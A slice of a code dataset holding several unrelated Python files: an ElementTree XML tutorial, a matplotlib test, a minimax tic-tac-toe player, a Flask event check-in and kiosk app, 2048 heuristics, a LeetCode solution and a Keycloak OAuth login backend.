\n \n \n\n\nXml 的一些重要特性:\n• 标签以一个< 字符开头,例如示例中的标签menu、breakfast、lunch、dinner 和item;\n• 忽略空格;\n• 通常一个开始标签(例如)跟一段其他的内容,然后是最后相匹配的结束标签,\n例如 ;\n• 标签之间是可以存在多级嵌套的,在本例中,标签item 是标签breakfast、lunch 和\ndinner 的子标签,反过来,它们也是标签menu 的子标签;\n• 可选属性(attribute)可以出现在开始标签里,例如price 是item 的一个属性;\n• 标签中可以包含值(value),本例中每个item 都会有一个值,比如第二个breakfast item\n的pancakes;\n• 如果一个命名为thing 的标签没有内容或者子标签,它可以用一个在右尖括号的前面添\n加斜杠的简单标签所表示,例如 代替开始和结束都存在的标签 和\nthing>;\n• 存放数据的位置可以是任意的——属性、值或者子标签。例如也可以把最后一个item\n标签写作- 。\n\npython中解析XML最简单的方法是使用ElementTree\n\"\"\"\n\nimport xml.etree.ElementTree as ElementTree\n\nSITEMAP_XML_PATH = './sitemap.xml'\nMENU_XML_PATH = './menu.xml'\n\n\ndef demo_build_sitemap():\n \"\"\"\n 构建xml文件示例\n \"\"\"\n # 设置根节点\n url_set = ElementTree.Element('uslset')\n\n # 设置根节点的子节点\n url = ElementTree.SubElement(url_set, 'url')\n\n for i in range(5):\n loc = ElementTree.SubElement(url_set, 'loc')\n # 设置节点的文本\n loc.text = 'http://www.123{}.com'.format(i)\n\n # 根据根节点设置并写入文件\n tree = ElementTree.ElementTree(url_set)\n tree.write(SITEMAP_XML_PATH)\n print('写入成功')\n\n\ndef demo_find():\n \"\"\"\n 查找示例\n \"\"\"\n tree = ElementTree.parse(SITEMAP_XML_PATH)\n url = tree.find('url')\n for rank in tree.iter('loc'):\n print(rank.text)\n\n\ndef demo_basic():\n \"\"\"\n 基础示例\n \"\"\"\n tree = ElementTree.ElementTree(MENU_XML_PATH)\n root = tree.getroot()\n\n # Element有标签和属性字典\n print(root.tag)\n print(root.attrib)\n\n # 迭代根节点得到子节点\n for child in root:\n print(child.tag, child.attrib)\n\n # 访问嵌套的子级\n print(root[0][1].text)\n\n\nif __name__ == '__main__':\n demo_basic()\n demo_build_sitemap()\n demo_find()\n","sub_path":"language/python/modules/DataProcess/xml/xml_module.py","file_name":"xml_module.py","file_ext":"py","file_size_in_byte":3094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"500704813","text":"#-------------------------------------------------------------------------------\n#\n# Copyright (c) 2012\n# IMB, RWTH Aachen University,\n# ISM, Brno University of Technology\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD\n# license included in the Spirrid top directory \"licence.txt\" and may be\n# redistributed only under the conditions described in the aforementioned\n# license.\n#\n# Thanks for using Simvisage open source!\n#\n#-------------------------------------------------------------------------------\n\nfrom traits.api import HasTraits, Instance, Button, Any\nfrom traitsui.api import View, Item\nfrom matplotlib.figure import Figure\nimport matplotlib\nmatplotlib.use('WXAgg')\nimport matplotlib.pyplot as plt\n\n\nclass Test(HasTraits):\n figure = Instance(Figure)\n\n def _figure_default(self):\n import matplotlib.pyplot as plt\n figure = plt.figure()\n figure.add_subplot(111)\n return figure\n\n axes = Any\n\n plot_data = Button\n def _plot_data_fired(self):\n figure = self.figure\n self.axes = figure.axes[0]\n self.axes.clear()\n self.axes.plot([0, 1], [0, 1])\n plt.show()\n\n redraw_data = Button\n def _redraw_data_fired(self):\n self.axes.plot([0, 2], [0, 1])\n self.figure.canvas.draw()\n\n view = View('plot_data', 'redraw_data')\n\n\nif __name__ == '__main__':\n test = Test()\n test.configure_traits()\n","sub_path":"scratch/tests/matplotlib_tests/redraw.py","file_name":"redraw.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"553594960","text":"\nimport copy\n\nclass TicTacToe(object):\n \"\"\"\n TicTacToe simulates a player and should never lose a game of TicTacToe. The assumption\n for the game is that X goes first and O goes second.\n \"\"\"\n def __init__(self, side):\n if side not in ('X', 'O'):\n raise ValueError(\"side is invalid. Must be either X, O.\")\n self.is_x = True if side == 'X' else False\n\n def _validate_board(self, board):\n \"\"\"\n Validates the board state and raises an Exception if it is invalid.\n \"\"\"\n num_x, num_o = 0, 0\n for i in xrange(3):\n for j in xrange(3):\n # IndexErrors may occur if the board is not 3x3\n if board[i][j] == 'X':\n num_x += 1\n elif board[i][j] == 'O':\n num_o += 1\n elif board[i][j] != ' ':\n raise ValueError(\"Invalid board state. Only ' ', X, O are allowed in cells\")\n if self.is_x:\n if num_x != num_o:\n raise ValueError(\"Invalid board state. On Xs turn, each side should have same # of choices\")\n else:\n if num_x - 1 != num_o:\n raise ValueError(\"Invalid board state. On Os turn, X should have made 1 more choice\")\n\n def _max(self, board, turn, prev_min=100, prev_max=-100):\n \"\"\"\n MinMax algorithm where the following values are given to various board states:\n Win = 1, Lose = -1, Tie = 0\n \"\"\"\n max_value, max_row, max_col = -100, None, None\n for i in xrange(3):\n for j in xrange(3):\n if board[i][j] == ' ':\n value, row, col = None, None, None\n board[i][j] = 'X' if turn == 'X' else 'O'\n winner = self.winner(board)\n if winner:\n if winner == 'X':\n if self.is_x:\n value, row, col = 1, i, j\n else:\n value, row, col = -1, i, j\n elif winner == 'O':\n if self.is_x:\n value, row, col = -1, i, j\n else:\n value, row, col = 1, i, j\n else:\n value, row, col = 0, i, j\n else:\n next_turn = 'O' if turn == 'X' else 'X'\n value, row, col = self._min(board, next_turn, prev_min, prev_max)\n board[i][j] = ' '\n if value > prev_min:\n return value, i, j\n if value > prev_max:\n prev_max = value\n if value > max_value:\n max_value = value\n max_row, max_col = i, j\n return max_value, max_row, max_col\n\n def _min(self, board, turn, prev_min=1, prev_max=-1):\n \"\"\"\n MinMax algorithm where the following values are given to various board states:\n Win = 1, Lose = -1, Tie = 0\n \"\"\"\n min_value, min_row, min_col = 100, None, None\n for i in xrange(3):\n for j in xrange(3):\n if board[i][j] == ' ':\n board[i][j] = 'X' if turn == 'X' else 'O'\n winner = self.winner(board)\n if winner:\n if winner == 'X':\n if self.is_x:\n value, row, col = 1, i, j\n else:\n value, row, col = -1, i, j\n elif winner == 'O':\n if self.is_x:\n value, row, col = -1, i, j\n else:\n value, row, col = 1, i, j\n else:\n value, row, col = 0, i, j\n else:\n next_turn = 'O' if turn == 'X' else 'X'\n value, row, col = self._max(board, next_turn, prev_min, prev_max)\n board[i][j] = ' '\n if value < prev_max:\n return value, i, j\n if value < prev_min:\n prev_min = value\n if value < min_value:\n min_value = value\n min_row, min_col = i, j\n return min_value, min_row, min_col\n\n def winner(self, board):\n \"\"\"\n Returns 'X' if X has won, 'O' if O has won, and ' ' if the game has ended in a tie.\n If the game has not yet completed, returns None.\n \"\"\"\n # Check rows\n total_choices = 0\n for i in xrange(3):\n num_x, num_o = 0, 0\n for j in xrange(3):\n if board[i][j] == 'X':\n num_x += 1\n elif board[i][j] == 'O':\n num_o += 1\n if num_x == 3:\n return 'X'\n elif num_o == 3:\n return 'O'\n total_choices += num_x + num_o\n # Check cols\n for j in xrange(3):\n num_x, num_o = 0, 0\n for i in xrange(3):\n if board[i][j] == 'X':\n num_x += 1\n elif board[i][j] == 'O':\n num_o += 1\n if num_x == 3:\n return 'X'\n elif num_o == 3:\n return 'O'\n # Check diagonals\n if board[1][1] != ' ':\n if board[0][0] == board[1][1] and board[2][2] == board[1][1]:\n return board[1][1]\n if board[0][2] == board[1][1] and board[2][0] == board[1][1]:\n return board[1][1]\n # Since there are no winners, if the board is full (9 choices made) then its a tie\n if total_choices == 9:\n return ' '\n else:\n return None\n\n def make_move(self, board):\n self._validate_board(board)\n updated_board = copy.deepcopy(board)\n winner = self.winner(updated_board)\n if winner:\n return updated_board\n side = 'X' if self.is_x else 'O'\n score, row, col = self._max(updated_board, side)\n updated_board[row][col] = side\n return updated_board\n","sub_path":"TicTacToe/game/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"625417930","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom peopleflow import app, mail\nfrom flask import Flask, abort, request, render_template, redirect, url_for, make_response\nfrom werkzeug import secure_filename\nfrom flask import flash, session, g, Response\nfrom coaster.views import load_model, jsonp\nfrom peopleflow.forms import EventForm, ConfirmSignoutForm, ParticipantForm, KioskForm\nfrom peopleflow.models import db, Event, Participant, Kiosk\nfrom peopleflow.views.login import lastuser\nfrom dateutil import parser as dateparser\nfrom pytz import utc, timezone\nimport os, csv, re\nfrom StringIO import StringIO\nfrom datetime import datetime\nfrom baseframe.forms import render_form, render_redirect, ConfirmDeleteForm\nimport time\nfrom flask.ext.mail import Message\nfrom markdown import markdown\n\n\nhideemail = re.compile('.{1,3}@')\ntz = timezone(app.config['TIMEZONE'])\n\n\n@app.route('/', methods=['GET'])\ndef index():\n events = Event.query.order_by('id').all()\n return render_template('index.html',events=events)\n\n\n@app.route('/event/new', methods=['GET'])\n@lastuser.requires_permission('siteadmin')\ndef event_new(eventform=None):\n if eventform is None:\n eventform = EventForm()\n context = {'eventform':eventform}\n return render_template('new_event.html', **context) \n\n\n@app.route('/event/new', methods=['POST'])\n@lastuser.requires_permission('siteadmin')\ndef event_submit():\n form = EventForm()\n if form.validate_on_submit():\n event = Event()\n form.populate_obj(event)\n db.session.add(event)\n db.session.commit()\n flash(\"Event added\")\n return render_redirect(url_for('index'), code=303)\n else:\n if request.is_xhr:\n return render_template('eventform.html', eventform=form, ajax_re_register=True)\n else:\n flash(\"Please check your details and try again.\", 'error')\n return event_add(eventform=form)\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1] in app.config['ALLOWED_EXTENSIONS']\n\n\ndef csv_populate(file, year, eventname):\n reader = csv.reader(open(file,'rb'), dialect='excel', quotechar='|')\n # Skip the header\n reader.next()\n # Get the event\n event = Event.query.filter_by(year=year, name=eventname).first()\n # Get all the participants of the event\n participants = Participant.query.filter_by(event_id=event.id).all()\n duplicates = 0\n new = 0\n if participants:\n for row in reader:\n for participant in participants:\n if participant.ticket_number == int(row[0]):\n duplicates = duplicates + 1\n break\n else:\n new_participant = Participant()\n try:\n participant.ticket_number = int(row[0])\n except ValueError:\n participant.ticket_number = None\n new_participant.name = row[1]\n new_participant.email = row[2]\n new_participant.ticket_type = row[3]\n new_participant.company = row[4]\n new_participant.job = row[5]\n new_participant.city = row[6]\n new_participant.twitter = row[7]\n new_participant.tshirt_size = row[8]\n new_participant.regdate = dateparser.parse(row[9])\n try:\n participant.order_id = int(row[10])\n except ValueError:\n participant.order_id = None\n new_participant.event_id = event.id\n db.session.add(new_participant)\n db.session.commit()\n new = new + 1\n else:\n for row in reader:\n participant = Participant()\n try:\n participant.ticket_number = int(row[0])\n except ValueError:\n participant.ticket_number = None\n participant.name = row[1]\n participant.email = row[2]\n participant.ticket_type = row[3]\n participant.company = row[4]\n participant.job = row[5]\n participant.city = row[6]\n participant.twitter = row[7]\n participant.tshirt_size = row[8]\n participant.regdate = dateparser.parse(row[9])\n try:\n participant.order_id = int(row[10])\n except ValueError:\n participant.order_id = None\n participant.event_id = event.id\n db.session.add(participant)\n db.session.commit()\n new = new + 1\n\n flash(\"%d duplicates, %d new records.\" % (duplicates, new), 'success')\n return redirect(url_for('index'))\n\n\n@app.route('/
//upload', methods=['GET', 'POST'])\n@lastuser.requires_permission('siteadmin')\ndef event_upload(year,eventname):\n if request.method == 'GET':\n return render_template('upload.html')\n\n if request.method == 'POST':\n file = request.files['file']\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n flash(\"Uploaded \"+filename)\n csv_populate(os.path.join(app.config['UPLOAD_FOLDER'], filename), year, eventname)\n return redirect(url_for('index'))\n\n\n\t\n@app.route('///signin',methods=['GET','POST'])\n@lastuser.requires_permission('siteadmin')\ndef event_signin(eventname, year):\n if request.method=='GET':\n event = Event.query.filter_by(name=eventname, year=year).first()\n tz = timezone(app.config['TIMEZONE'])\n participants = Participant.query.filter_by(event_id=event.id).order_by('name').all()\n return render_template('participants.html',participants=participants,event=event, hideemail=hideemail, enumerate=enumerate,\n utc=utc, tz=tz)\n else:\n pid = request.form['id']\n participant = Participant.query.get(pid)\n if participant.attended:\n return \"Already Signed in\"\n else:\n nfc_id = unicode(request.form['nfc_id'])\n participant.nfc_id = nfc_id\n participant.attended=True\n participant.attend_date = datetime.utcnow()\n try:\n db.session.commit()\n return \"success\"\n except:\n return \"id_used\"\n \n@app.route('////signout', methods=['GET', 'POST'])\n# @load_model(Participant, {'id':'id'}, 'participant')\ndef event_signout(year, eventname, pid):\n # pid = request.form['id']\n participant = Participant.query.get(pid)\n form = ConfirmSignoutForm()\n if form.validate_on_submit():\n if 'signout' in request.form:\n participant.attended=False\n participant.nfc_id= None\n participant.attend_date = None\n db.session.commit()\n return redirect(url_for('event_signin', year=year, eventname=eventname), code=303)\n return render_template('signout.html', form=form, title=u\"Confirm card unassignment\",\n message=u\"Unassign card for '%s' ?\" % (participant.name))\n\n@app.route('/event//count', methods=['GET', 'POST'])\n@load_model(Event, {'id': 'id'}, 'event')\ndef get_count(event):\n response = jsonp(signed=event.participants.filter_by(attended=True).count(), total=event.participants.count())\n return response\n\n\n\n@app.route('/event//participant/new', methods=['GET', 'POST'])\n@load_model(Event, {'id': 'id'}, 'event')\ndef venue_signup(event, participantform=None):\n if request.method=='GET':\n if participantform is None:\n participantform = ParticipantForm()\n context = {'participantform':participantform, 'eventname':event.name, 'year':event.year}\n return render_template('new_participant.html', **context)\n \n if request.method=='POST':\n form = ParticipantForm()\n if form.validate_on_submit():\n participant = Participant()\n form.populate_obj(participant)\n participant.attended = True\n participant.attend_date = datetime.utcnow()\n participant.event_id = event.id\n db.session.add(participant)\n try:\n db.session.commit()\n # flash('Done')\n flash('Participant %s added.' % participant.name, 'success')\n return \"success\"\n except:\n return \"fail\"\n else:\n if request.is_xhr:\n return render_template('participantform.html', participantform=form, ajax_re_register=True)\n else:\n flash(\"Please check your details and try again.\", 'error')\n return venue_signup(participantform=form)\n\n\n\n@app.route('/event//edit', methods=['GET','POST'])\n@lastuser.requires_permission('siteadmin')\n@load_model(Event, {'id': 'id'}, 'event')\ndef event_edit(event):\n if request.method=='GET':\n form = EventForm(obj=event)\n return event_new(eventform=form)\n if request.method=='POST':\n form = EventForm(obj=event)\n if form.validate_on_submit():\n form.populate_obj(event)\n db.session.commit()\n flash(\"Edited event '%s'.\" % event.title, 'success')\n return render_redirect(url_for('index'), code=303)\n return event_add(eventform=form)\n\n\n\n@app.route('/event//delete', methods=['GET','POST'])\n@lastuser.requires_permission('siteadmin')\n@load_model(Event, {'id':'id'}, 'event')\ndef event_delete(event):\n form = ConfirmDeleteForm()\n if form.validate_on_submit():\n if 'delete' in request.form:\n db.session.delete(event)\n db.session.commit()\n return redirect(url_for('index'), code=303)\n return render_template('baseframe/delete.html', form=form, title=u\"Confirm delete\",\n message=u\"Delete '%s' ?\" % (event.title))\n\n\n@app.route('/kiosk/new', methods=['GET', 'POST'])\n@lastuser.requires_permission('siteadmin')\ndef kiosk_new(kioskform=None):\n if request.method == 'GET':\n if kioskform is None:\n kioskform = KioskForm()\n context = {'kioskform':kioskform}\n return render_template('new_kiosk.html', **context) \n\n if request.method == 'POST':\n form = KioskForm()\n if form.validate_on_submit():\n kiosk = Kiosk()\n form.populate_obj(kiosk)\n db.session.add(kiosk)\n db.session.commit()\n flash(\"Kiosk added\")\n return render_redirect(url_for('index'), code=303)\n else:\n if request.is_xhr:\n return render_template('kioskform.html', kioskform=form, ajax_re_register=True)\n else:\n flash(\"Please check your details and try again.\", 'error')\n return event_add(kioskform=form)\n\n@app.route('/kiosk/', methods=['GET','POST'])\n@lastuser.requires_permission('kioskadmin')\ndef kiosk(name):\n if request.method=='GET':\n name = unicode(name)\n kiosk = Kiosk.query.filter_by(name=name).first()\n return render_template('kiosk.html', kiosk = kiosk)\n \n@app.route('/subscribe/',methods=['GET', 'POST'])\ndef share(kiosk):\n if request.method=='POST':\n kiosk_name = unicode(kiosk)\n nfc_id = request.form['id']\n kiosk = Kiosk.query.filter_by(name=kiosk_name).first()\n participant = Participant.query.filter_by(nfc_id=nfc_id).first()\n # share = Share()\n # share.share_date = datetime.utcnow()\n # share.participant_id = participant\n if participant in kiosk.participants:\n flash(\"Contact already shared\",'error')\n return render_redirect(url_for('kiosk', name=kiosk.name), code=303)\n else:\n\n kiosk.participants.append(participant)\n # share.kiosk_id = kiosk.id\n db.session.commit()\n flash(\"Contact Shared\",'success')\n return render_redirect(url_for('kiosk', name=kiosk.name), code=303)\n\n@app.route('/participant/', methods=[\"GET\"])\ndef get_participant(nfc_id):\n try:\n participant = Participant.query.filter_by(nfc_id=nfc_id).first()\n response = jsonp(name=participant.name, email=participant.email)\n except:\n response = jsonp(error=\"invalid\")\n return response\n\n\n@app.route('/kiosk//delete', methods=['GET','POST'])\n@lastuser.requires_permission('siteadmin')\n@load_model(Kiosk, {'id':'id'}, 'kiosk')\ndef kiosk_delete(kiosk):\n form = ConfirmDeleteForm()\n event = Event.query.get(kiosk.event_id)\n if form.validate_on_submit():\n if 'delete' in request.form:\n db.session.delete(kiosk)\n db.session.commit()\n return render_redirect(url_for('event_kiosks', eventname=event.name), code=303)\n return render_template('baseframe/delete.html', form=form, title=u\"Confirm delete\",\n message=u\"Delete '%s' ?\" % (kiosk.company))\n\n@app.route('///kiosks', methods=['GET'])\n@lastuser.requires_permission('siteadmin')\ndef event_kiosks(year,eventname):\n event = Event.query.filter_by(name=eventname, year=year).first()\n kiosks= Kiosk.query.filter_by(event_id=event.id).all()\n return render_template('event_kiosks.html', kiosks=kiosks, event=event, enumerate=enumerate)\n\n@app.route('/kiosk//export', methods=['GET'])\n@load_model(Kiosk, {'id':'id'}, 'kiosk')\ndef export_kiosk(kiosk):\n participants = StringIO()\n fieldnames= ['Name', 'Email','Company', 'Job']\n writer = csv.DictWriter(participants, fieldnames=fieldnames, delimiter=',',quotechar='|', quoting=csv.QUOTE_MINIMAL)\n writer.writeheader()\n for participant in kiosk.participants:\n writer.writerow({\"Name\":participant.name,\n \"Email\": participant.email,\n \"Company\":participant.company,\n \"Job\":participant.job\n })\n response = make_response(participants.getvalue())\n response.headers['Content-Type']='text/csv';'charset=utf-8'\n response.headers['Content-Disposition']='attachment; filename=participants.csv'\n return response\n\n\n@app.route('//search', methods=['POST'])\n@load_model(Event,{'id':'eid'},'event')\ndef search(event, participants=None):\n query = request.form['key']\n participant = Participant.query.filter_by(event_id=event.id, ticket_number=int(query)).first()\n response = jsonp(ticket_number=participant.ticket_number, name=participant.name, email=participant.email)\n return response\n\n@app.route('///connect', methods=['GET','POST'])\n@lastuser.requires_permission('siteadmin')\n@load_model(Event, {'name':'eventname'}, 'event')\ndef connect(event):\n if request.method=='GET':\n return render_template('connect.html', event = event)\n \n if request.method == 'POST':\n participants = []\n ids = request.form['id']\n ids = set(ids.split(','))\n msg = Message(\"Hello from \"+event.title)\n for id in ids:\n participant = Participant.query.filter_by(event_id=event.id, nfc_id=id).first()\n participants.append(participant)\n\n for participant in participants:\n exchange = []\n for other in participants:\n if other!=participant:\n exchange.append(other)\n msg.body= render_template('connectemail.md', name= participant.name, participants=exchange, event=event)\n msg.recipients=[participant.email]\n mail.send(msg)\n flash(\"Email sent!\", \"success\")\n return render_template('connect.html', event = event)\n\n\n\n\n\n\n","sub_path":"peopleflow/views/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":15658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"360153596","text":"\ndef empty(b):\n \"\"\"Return a heuristic value based on the number of empty spaces.\"\"\"\n value = 0\n\n for row in b:\n value += row.count(0)\n\n return value\n\n\ndef weights(b):\n \"\"\"Return a heuristic value based on the weights of specified locations.\"\"\"\n value, n = 0, len(b)\n\n weights = [\n [2048, 1024, 512, 256],\n [1024, 512, 256, 128],\n [256, 8, 2, 1],\n [4, 2, 1, 1]\n ]\n\n for i in range(n):\n for j in range(n):\n value += (b[i][j] * weights[i][j])\n\n return value\n\n\ndef monotonicity(b):\n \"\"\"Return a heuristic value based on the increase/decrease in numbers in rows/columns.\"\"\"\n value, n = 0, len(b)\n\n for row in b:\n # Calculate the difference.\n diff = row[0] - row[1]\n\n for i in range(n - 1):\n # Check whether the difference of the following cells is less than 0.\n if (row[i] - row[i + 1]) * diff <= 0:\n value += 1\n\n # Update the diff variable.\n diff = row[i] - row[i + 1]\n\n for j in range(n):\n # Calculate the difference.\n diff = b[0][j] - b[1][j]\n\n for k in range(n - 1):\n # Check whether the difference of the following cells is less than 0.\n if (b[i][j] - b[k + 1][j]) * diff <= 0:\n value += 1\n\n # Update the diff variable.\n diff = b[k][j] - b[k + 1][j]\n\n return value\n\n\ndef position(b):\n \"\"\"Return a heuristic value based on the position of the largest value on the board.\"\"\"\n value, tile = 0, -1\n\n # Retrieve the largest value.\n for row in b:\n for cell in row:\n if cell > tile:\n tile = cell\n\n # Check if the tile is in the desired location.\n if b[0][0] == tile:\n value += (1024 * tile)\n\n return value\n\n\ndef heuristic(b):\n # Computes the heuristic of the board based on a set strategy.\n values = {\n 'empty': {\n 'value': empty(b),\n 'weight': 3,\n },\n 'weights': {\n 'value': weights(b),\n 'weight': 8,\n },\n 'monotonicity': {\n 'value': monotonicity(b),\n 'weight': 3,\n },\n 'position': {\n 'value': position(b),\n 'weight': 12,\n },\n }\n\n value = 0\n\n for key in values.keys():\n value += (values[key]['value'] * values[key]['weight'])\n\n return value\n","sub_path":"artificial-intelligence/2048/ai.py","file_name":"ai.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"642661024","text":"\n\"\"\"\n\n Name : Shahreen Shahjahan Psyche\n Time : O(M * N)\n Space : O(N)\n\n This code passed all the test cases in Leetcode\n\n\"\"\"\nfrom typing import List\n\n\n# Definition for Employee.\nclass Employee:\n def __init__(self, id: int, importance: int, subordinates: List[int]):\n self.id = id\n self.importance = importance\n self.subordinates = subordinates\n\nclass Solution:\n def getImportance(self, employees: List['Employee'], id: int) -> int:\n \n if not employees:\n return 0\n \n # creating a hashmap so that I dont have to find an employee in linear time using the employee id\n records = {}\n \n for i in range(len(employees)):\n records[employees[i].id] = employees[i]\n \n \n from collections import deque\n \n q = deque()\n value = 0\n \n q.append(id)\n \n while(q):\n tmp = q.pop()\n emp = records[tmp]\n value += emp.importance\n for i in emp.subordinates:\n q.append(i)\n \n return value","sub_path":"Problem3.py","file_name":"Problem3.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"425139644","text":"\"\"\"Django Airavata Auth Backends: KeycloakBackend.\"\"\"\nimport logging\nimport os\nimport time\n\nimport requests\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom django.views.decorators.debug import sensitive_variables\nfrom oauthlib.oauth2 import InvalidGrantError, LegacyApplicationClient\nfrom requests_oauthlib import OAuth2Session\n\nfrom django_airavata.apps.auth.utils import get_authz_token\n\nfrom . import models, utils\n\nlogger = logging.getLogger(__name__)\n\n\nclass KeycloakBackend(object):\n \"\"\"Django authentication backend for Keycloak.\"\"\"\n\n # mask all local variables from error emails since they contain the user's\n # password and/or client_secret. Note, we could selectively just hide\n # variables that are sensitive, but this decorator doesn't apply explicitly\n # listed variable masking to library function calls\n @sensitive_variables()\n def authenticate(self,\n request=None,\n username=None,\n password=None,\n refresh_token=None,\n idp_alias=None):\n try:\n user = None\n access_token = None\n if username and password:\n token, userinfo = self._get_token_and_userinfo_password_flow(\n username, password)\n if token is None: # login failed\n return None\n self._process_token(request, token)\n user = self._process_userinfo(request, userinfo)\n access_token = token['access_token']\n elif 'HTTP_AUTHORIZATION' in request.META:\n bearer, token = request.META.get('HTTP_AUTHORIZATION').split()\n if bearer != \"Bearer\":\n raise Exception(\"Unexpected Authorization header\")\n # implicitly validate token by using it to get userinfo\n userinfo = self._get_userinfo_from_token(request, token)\n user = self._process_userinfo(request, userinfo)\n access_token = token\n # user is already logged in and can use refresh token\n elif request.user.is_authenticated and not utils.is_refresh_token_expired(request):\n logger.debug(\"Refreshing token...\")\n token, userinfo = \\\n self._get_token_and_userinfo_from_refresh_token(request)\n if token is None: # refresh failed\n return None\n self._process_token(request, token)\n # user is already logged in\n user = request.user\n access_token = token['access_token']\n elif refresh_token:\n logger.debug(\"Refreshing supplied token...\")\n token, userinfo = \\\n self._get_token_and_userinfo_from_refresh_token(\n request, refresh_token=refresh_token)\n if token is None: # refresh failed\n return None\n self._process_token(request, token)\n user = self._process_userinfo(request, userinfo)\n access_token = token['access_token']\n else:\n token, userinfo = self._get_token_and_userinfo_redirect_flow(\n request)\n self._process_token(request, token)\n user = self._process_userinfo(request, userinfo)\n if idp_alias is not None:\n self._store_idp_userinfo(user, token, idp_alias)\n self._check_username_initialization(request, user)\n access_token = token['access_token']\n # authz_token_middleware has already run, so must manually add\n # the `request.authz_token` attribute\n if user is not None:\n request.authz_token = get_authz_token(\n request, user=user, access_token=access_token)\n return user\n except Exception as e:\n logger.warning(\"login failed\", exc_info=e)\n raise\n\n def get_user(self, user_id):\n try:\n return User.objects.get(pk=user_id)\n except User.DoesNotExist:\n return None\n\n def _get_token_and_userinfo_password_flow(self, username, password):\n try:\n client_id = settings.KEYCLOAK_CLIENT_ID\n client_secret = settings.KEYCLOAK_CLIENT_SECRET\n token_url = settings.KEYCLOAK_TOKEN_URL\n userinfo_url = settings.KEYCLOAK_USERINFO_URL\n verify_ssl = settings.KEYCLOAK_VERIFY_SSL\n oauth2_session = OAuth2Session(client=LegacyApplicationClient(\n client_id=client_id))\n verify = verify_ssl\n if verify_ssl and hasattr(settings, 'KEYCLOAK_CA_CERTFILE'):\n verify = settings.KEYCLOAK_CA_CERTFILE\n token = oauth2_session.fetch_token(token_url=token_url,\n username=username,\n password=password,\n client_id=client_id,\n client_secret=client_secret,\n verify=verify)\n userinfo = oauth2_session.get(userinfo_url).json()\n return token, userinfo\n except InvalidGrantError as e:\n # password wasn't valid, just log as a warning\n logger.warning(f\"Failed to log in user {username} with \"\n f\"password: {e}\")\n return None, None\n\n def _get_token_and_userinfo_redirect_flow(self, request):\n authorization_code_url = request.build_absolute_uri()\n client_id = settings.KEYCLOAK_CLIENT_ID\n client_secret = settings.KEYCLOAK_CLIENT_SECRET\n token_url = settings.KEYCLOAK_TOKEN_URL\n userinfo_url = settings.KEYCLOAK_USERINFO_URL\n verify_ssl = settings.KEYCLOAK_VERIFY_SSL\n state = request.session['OAUTH2_STATE']\n redirect_uri = request.session['OAUTH2_REDIRECT_URI']\n logger.debug(\"state={}\".format(state))\n oauth2_session = OAuth2Session(client_id,\n scope='openid',\n redirect_uri=redirect_uri,\n state=state)\n verify = verify_ssl\n if verify_ssl and hasattr(settings, 'KEYCLOAK_CA_CERTFILE'):\n verify = settings.KEYCLOAK_CA_CERTFILE\n if not request.is_secure() and settings.DEBUG and not os.environ.get('OAUTHLIB_INSECURE_TRANSPORT'):\n # For local development (DEBUG=True), allow insecure OAuth redirect flow\n # if OAUTHLIB_INSECURE_TRANSPORT isn't already set\n os.environ['OAUTHLIB_INSECURE_TRANSPORT'] = \"1\"\n logger.info(\"Adding env var OAUTHLIB_INSECURE_TRANSPORT=1 to allow \"\n \"OAuth redirect flow even though request is not secure\")\n token = oauth2_session.fetch_token(\n token_url, client_secret=client_secret,\n authorization_response=authorization_code_url, verify=verify)\n userinfo = oauth2_session.get(userinfo_url).json()\n return token, userinfo\n\n def _get_token_and_userinfo_from_refresh_token(self,\n request,\n refresh_token=None):\n client_id = settings.KEYCLOAK_CLIENT_ID\n client_secret = settings.KEYCLOAK_CLIENT_SECRET\n token_url = settings.KEYCLOAK_TOKEN_URL\n userinfo_url = settings.KEYCLOAK_USERINFO_URL\n verify_ssl = settings.KEYCLOAK_VERIFY_SSL\n oauth2_session = OAuth2Session(client_id, scope='openid')\n verify = verify_ssl\n if verify_ssl and hasattr(settings, 'KEYCLOAK_CA_CERTFILE'):\n verify = settings.KEYCLOAK_CA_CERTFILE\n refresh_token_ = (refresh_token\n if refresh_token is not None\n else request.session['REFRESH_TOKEN'])\n # refresh_token doesn't take client_secret kwarg, so create auth\n # explicitly\n auth = requests.auth.HTTPBasicAuth(client_id, client_secret)\n try:\n token = oauth2_session.refresh_token(token_url=token_url,\n refresh_token=refresh_token_,\n auth=auth,\n verify=verify)\n userinfo = oauth2_session.get(userinfo_url).json()\n return token, userinfo\n except InvalidGrantError as e:\n # probably session was terminated by admin or by user logging out in another client\n logger.warning(f\"Failed to refresh token for user {request.user.username} \"\n f\": {e}\")\n return None, None\n\n def _get_userinfo_from_token(self, request, token):\n client_id = settings.KEYCLOAK_CLIENT_ID\n userinfo_url = settings.KEYCLOAK_USERINFO_URL\n verify_ssl = settings.KEYCLOAK_VERIFY_SSL\n oauth2_session = OAuth2Session(\n client_id, token={'access_token': token})\n verify = verify_ssl\n if verify_ssl and hasattr(settings, 'KEYCLOAK_CA_CERTFILE'):\n verify = settings.KEYCLOAK_CA_CERTFILE\n userinfo = oauth2_session.get(\n userinfo_url, verify=verify).json()\n if 'error' in userinfo:\n msg = userinfo.get('error_description')\n if msg is None:\n msg = f\"Error fetching userinfo: {userinfo['error']}\"\n raise Exception(msg)\n return userinfo\n\n def _process_token(self, request, token):\n # TODO validate the JWS signature\n logger.debug(\"token: {}\".format(token))\n now = time.time()\n # Put access_token into session to be used for authenticating with API\n # server\n sess = 